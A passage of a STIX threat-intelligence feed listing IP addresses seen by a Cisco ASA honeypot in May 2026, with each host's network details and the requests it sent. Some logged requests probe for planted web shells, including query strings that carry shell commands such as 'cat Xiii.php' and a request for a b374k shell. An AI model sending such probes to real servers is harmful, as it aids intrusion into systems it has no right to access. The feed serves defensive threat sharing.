      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-24T01:21:57.031Z",
          "last_seen": "2026-05-24T01:29:53.987Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 214503,
          "as_org": "QuxLabs AB",
          "event_types": [
            "\"GET /adminconfig.all.php?aa HTTP/1.1\" 404 -",
            "\"GET /adminconfig.all.php?xaa HTTP/1.1\" 404 -",
            "\"GET /atmin/config.php?csasw HTTP/1.1\" 404 -",
            "\"GET /graph.php?module=upload HTTP/1.1\" 404 -",
            "\"GET /graph.php?module=upload&1133 HTTP/1.1\" 404 -",
            "\"GET /main.php?hf5 HTTP/1.1\" 404 -",
            "\"GET /panel/init/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /panel/ming-source/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /recordings.old/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /recordings/config.all.php?x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /_asterisk/Xiii.php?yokyok=cat+Xiii.php& HTTP/1.1\" 404 - geo: NL; ASN 210558 (1337 Services GmbH)",
      "id": "indicator--cf3e2b10-4b49-45e5-8230-2fdb044a379f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.92.1.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 17,
          "first_seen": "2026-05-24T01:20:14.536Z",
          "last_seen": "2026-05-24T01:23:06.081Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 210558,
          "as_org": "1337 Services GmbH",
          "event_types": [
            "\"GET /_asterisk/Xiii.php?yokyok=cat+Xiii.php& HTTP/1.1\" 404 -",
            "\"GET /_asterisk/a7a.php?c=cat+a7a.php& HTTP/1.1\" 404 -",
            "\"GET /_asterisk/sos.php? HTTP/1.1\" 404 -",
            "\"GET /_asterisk/tika.php?ery HTTP/1.1\" 404 -",
            "\"GET /admin/assets/Xiii.php?yokyok=cat+Xiii.php& HTTP/1.1\" 404 -",
            "\"GET /admin/modules/vmblast/ajax.php HTTP/1.1\" 404 -",
            "\"GET /admin/xml.php?ser HTTP/1.1\" 404 -",
            "\"GET /assets/Xiii.php?yokyok=cat+Xiii.php& HTTP/1.1\" 404 -",
            "\"GET /recordings/Xiii.php?yokyok=cat+Xiii.php& HTTP/1.1\" 404 -",
            "\"GET /recordings/b374k-2.8.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /main.php.2?2qwe HTTP/1.1\" 404 - geo: FR; ASN 2027 (MilkyWan Association)",
      "id": "indicator--c2d9ca03-9cf0-41c0-b039-940e81ae4fd9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '80.67.167.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-24T01:22:22.379Z",
          "last_seen": "2026-05-24T01:22:31.076Z",
          "country": "France",
          "country_code": "FR",
          "asn": 2027,
          "as_org": "MilkyWan Association",
          "event_types": [
            "\"GET /main.php.2?2qwe HTTP/1.1\" 404 -",
            "\"GET /panel/atmin/config.php?aca HTTP/1.1\" 404 -",
            "\"GET /panel/main.php?11 HTTP/1.1\" 404 -",
            "\"GET /panel/main.php?126 HTTP/1.1\" 404 -",
            "\"GET /panel/main.php?x HTTP/1.1\" 404 -",
            "\"GET /panel/main.php?x3 HTTP/1.1\" 404 -",
            "\"GET /panel/webadmin.php?zx HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /recordings/miscconfig.all.php? HTTP/1.1\" 404 - geo: IS; ASN 50613 (Advania Island ehf)",
      "id": "indicator--ee8092c4-31d4-48b5-b41d-f9c833246833",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '82.221.128.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-24T01:24:06.228Z",
          "last_seen": "2026-05-24T01:24:20.126Z",
          "country": "Iceland",
          "country_code": "IS",
          "asn": 50613,
          "as_org": "Advania Island ehf",
          "event_types": [
            "\"GET /recordings/miscconfig.all.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/miscconfig.all.php?x HTTP/1.1\" 404 -",
            "\"GET /recordings/page.framework.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/phpversions.php?module=upload HTTP/1.1\" 404 -",
            "\"GET /recordings/phpversions.php?module=upload&1 HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--1a5cf57b-2eb4-4eaf-9fbb-f98da58540dc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T03:20:10.000Z",
      "valid_until": "2026-06-25T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-24T02:54:21.144Z",
          "last_seen": "2026-05-24T03:01:30.702Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--85dedd3d-18a0-4ea0-9e21-0f24f0073111",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T03:20:10.000Z",
      "valid_until": "2026-06-25T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-24T02:59:27.454Z",
          "last_seen": "2026-05-24T02:59:27.454Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--94b7db3d-6801-4efe-affa-069e553396b7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T03:20:10.000Z",
      "valid_until": "2026-06-25T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-24T02:59:07.925Z",
          "last_seen": "2026-05-24T02:59:07.925Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--0381b1d3-d52b-4ce7-82f1-2ff6b28d4971",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T03:20:10.000Z",
      "valid_until": "2026-06-25T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-24T02:59:12.136Z",
          "last_seen": "2026-05-24T02:59:12.136Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--886fc729-6fc9-4093-99db-483c713e1683",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T03:20:10.000Z",
      "valid_until": "2026-06-25T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-24T02:57:36.923Z",
          "last_seen": "2026-05-24T02:57:36.923Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--446b585b-6862-45fc-a3e0-c28a6ba9d38d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T03:20:10.000Z",
      "valid_until": "2026-06-25T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-24T02:56:37.500Z",
          "last_seen": "2026-05-24T02:59:24.251Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--eeccacf6-1498-47c2-8478-ec5a5cd0b490",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T04:20:10.000Z",
      "valid_until": "2026-06-25T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-24T03:49:58.927Z",
          "last_seen": "2026-05-24T03:50:01.930Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-25T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--d1fb9a2a-4840-4c65-af20-eb4d08b10c81",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '44.202.144.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T01:20:10.000Z",
      "valid_until": "2026-06-26T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-25T01:00:21.238Z",
          "last_seen": "2026-05-25T01:00:24.240Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-25T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--1b02b2e9-3cdd-493c-8a42-6aeb300febbc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '54.226.98.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T01:20:10.000Z",
      "valid_until": "2026-06-26T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-25T01:01:27.459Z",
          "last_seen": "2026-05-25T01:01:27.459Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-25T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.0\" 200 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--13acdaba-7485-40a4-b5ab-397493937ed5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.111.152.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T03:20:10.000Z",
      "valid_until": "2026-06-26T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-25T02:30:42.151Z",
          "last_seen": "2026-05-25T02:30:42.151Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET / HTTP/1.0\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-25T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: US; ASN 3257 (GTT Communications Inc.)",
      "id": "indicator--6ff11dc9-12bf-4b9b-baf1-a89326bf5ad3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.228.193.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T03:20:10.000Z",
      "valid_until": "2026-06-26T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-25T03:03:16.368Z",
          "last_seen": "2026-05-25T03:03:16.951Z",
          "country": "United States",
          "country_code": "US",
          "asn": 3257,
          "as_org": "GTT Communications Inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-25T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 63199 (CDS Global Cloud Co., Ltd)",
      "id": "indicator--02885978-a19c-4db6-98a1-0f157b114e37",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '148.153.56.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T05:20:10.000Z",
      "valid_until": "2026-06-26T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 26,
          "first_seen": "2026-05-25T05:01:10.763Z",
          "last_seen": "2026-05-25T05:02:59.504Z",
          "country": "United States",
          "country_code": "US",
          "asn": 63199,
          "as_org": "CDS Global Cloud Co., Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon_custom.css HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/portal.css HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/win.js HTTP/1.1\" 200 -",
            "\"GET /.well-known/security.txt HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-25T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--0d5389df-6292-4369-a4eb-14062f5e6478",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T05:20:10.000Z",
      "valid_until": "2026-06-26T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-25T04:55:50.780Z",
          "last_seen": "2026-05-25T04:57:20.755Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-05-25T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: code 400 geo: AU; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--5d0ff20d-e80f-46df-ad97-54718799d9dd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '170.64.179.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T10:20:10.000Z",
      "valid_until": "2026-06-26T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 5,
          "first_seen": "2026-05-25T10:00:13.060Z",
          "last_seen": "2026-05-25T10:00:30.352Z",
          "country": "Australia",
          "country_code": "AU",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "code 400",
            "\"4\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u00dd\u0007\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u001f\u0000\u0000\u0000\u0010hello\u0000\u0001\u0000\u0000\u0000\u0002$db\u0000\u0006\u0000\u0000\u0000admin\u0000\u0000\" 400 -",
            "\":\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u00d4\u0007\u0000\u0000\u0000\u0000\u0000\u0000admin.$cmd\u0000\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0013\u0000\u0000\u0000\u0010isMaster\u0000\u0001\u0000\u0000\u0000\u0000\" 400 -",
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-25T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--e9297c02-a45b-4c2a-9ba6-642c98b2619d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T10:20:10.000Z",
      "valid_until": "2026-06-26T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 13,
          "first_seen": "2026-05-25T10:16:07.045Z",
          "last_seen": "2026-05-25T10:23:03.642Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-25T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--865cad2e-843e-4616-a157-4b57815b688c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T10:20:10.000Z",
      "valid_until": "2026-06-26T10:20:09.000Z",
